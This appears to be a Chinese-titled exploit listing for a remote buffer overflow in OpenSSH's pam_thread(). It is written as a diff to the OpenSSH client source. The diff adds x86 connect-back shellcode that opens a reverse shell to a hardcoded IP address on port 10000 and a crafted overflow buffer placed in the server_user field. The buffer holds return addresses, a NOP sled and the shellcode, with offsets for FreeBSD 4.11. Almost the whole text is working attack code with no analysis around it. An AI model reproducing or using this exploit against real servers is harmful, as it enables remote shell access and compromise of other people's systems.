OpenSSH "pam_thread()"远程缓冲区溢出漏洞

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c 667a668,717 // Connect Back Shellcode #define IPADDR "\xc0\xa8\x20\x80" #define PORT "\x27\x10" /* htons(10000) */ char sc[] = "\x90\x90" "\x90\x90" "\x31\xc9" // xor ecx, ecx "\xf7\xe1" // mul ecx "\x51" // push ecx "\x41" // inc ecx "\x51" // push ecx "\x41" // inc ecx "\x51" // push ecx "\x51" // push ecx "\xb0\x61" // mov al, 97 "\xcd\x80" // int 80h "\x89\xc3" // mov ebx, eax "\x68"IPADDR // push dword 0101017fh "\x66\x68"PORT // push word 4135 "\x66\x51" // push cx "\x89\xe6" // mov esi, esp "\xb2\x10" // mov dl, 16 "\x52" // push edx "\x56" // push esi "\x50" // push eax "\x50" // push eax "\xb0\x62" // mov al, 98 "\xcd\x80" // int 80h "\x41" // inc ecx "\xb0\x5a" // mov al, 90 "\x49" // dec ecx "\x51" // push ecx "\x53" // push ebx "\x53" // push ebx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf5" // loop -10 "\x51" // push ecx "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x54" // push esp "\x53" // push ebx "\x53" // push ebx "\xb0\xc4\x34\xff" "\xcd\x80"; // int 80h 679a730,737 char buffer[8096]; // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1 memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24); memset(buffer+24, '\x90', 5000); memcpy(buffer+24+5000, sc, sizeof(sc)); server_user=buffer;